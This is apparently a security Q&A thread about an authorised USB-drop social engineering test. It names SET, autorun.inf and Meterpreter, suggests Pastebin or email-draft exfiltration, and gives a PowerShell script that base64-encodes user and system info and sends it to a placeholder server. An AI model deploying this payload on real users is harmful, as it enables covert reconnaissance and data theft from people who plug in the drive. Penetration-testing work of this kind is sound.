I have a scenario in which I have to do a social engineering exercise for a client. The exercise is the simple old free USB trick, but the catch here is that I have to only get only the (non damaging) info of the computer/user who inserts the USB and not directly access their system which can be done using the Social Engineering Toolkit available in Backtrack.

Any idea or suggestions on how I could do it?


As you probably know,

The SET Infectious Media Generator creates an autorun.inf file and a Metasploit payload Source.

Since you don't want to use the Metasploit payload, you can simply create an autorun file and a Powershell script for information gathering. There are different types of information you may want to collect, from the logged on user to the MAC address and so on.

A more sophisticated attack (which would probably require additional permissions) would involve dumping the RAM of the targeted user and looking for particular strings, such as password. I'm not an expert in this topic, but this might be done by using tools which are typically used in live forensics.

  • Thanks for start :) . One more doubt I had, In a scenario in which I won't get the usb back, anyway I could send that info to me ? The machine will be connected to internet that's for sure. – user1299086 Oct 19 '16 at 8:11
  • Pastebin, a Web or FTP server you own, an email (or email draft in an account you created), a Facebook or Twitter account, they're all fair game, as long as they aren't blocked by the corporate network and you encrypt any sensitive information before uploading. I personally like the idea of an email draft containing the file. If it's encrypted, the email password is reasonably strong, and you only use that account for the exercise, the chance of a bad guy getting those data is rather low. By the way, most attackers don't get their USB drives back, so it's a realistic exercise. – A. Darwin Oct 19 '16 at 8:22
  • the email draft seems perfect but its something I have never tried so how do I do that ? – user1299086 Oct 19 '16 at 9:00

the catch here is that I have to only get only the (non damaging) info of the computer/user who inserts the USB and not directly access their system

By this i understand you only want some sysinfo, not actual credentials.

Powershell script for posting the info to a page:

$userinfo = net user
$sysinfo = Get-CimInstance Win32_OperatingSystem
$Text = $sysinfo + $userinfo
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$USERDATA =[Convert]::ToBase64String($Bytes)

Invoke-WebRequest http://www.yourserver.com/submit?userdata=$USERDATA

Please keep in mind there are some limitations around the execution policy. I think a much more robust solution would be a Meterpreter with an AutoRunScript that gathers the users info and immediately exits.

Modern computer also don't automatically run the autorun.inf anymore, you are probably going to need some user interaction.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.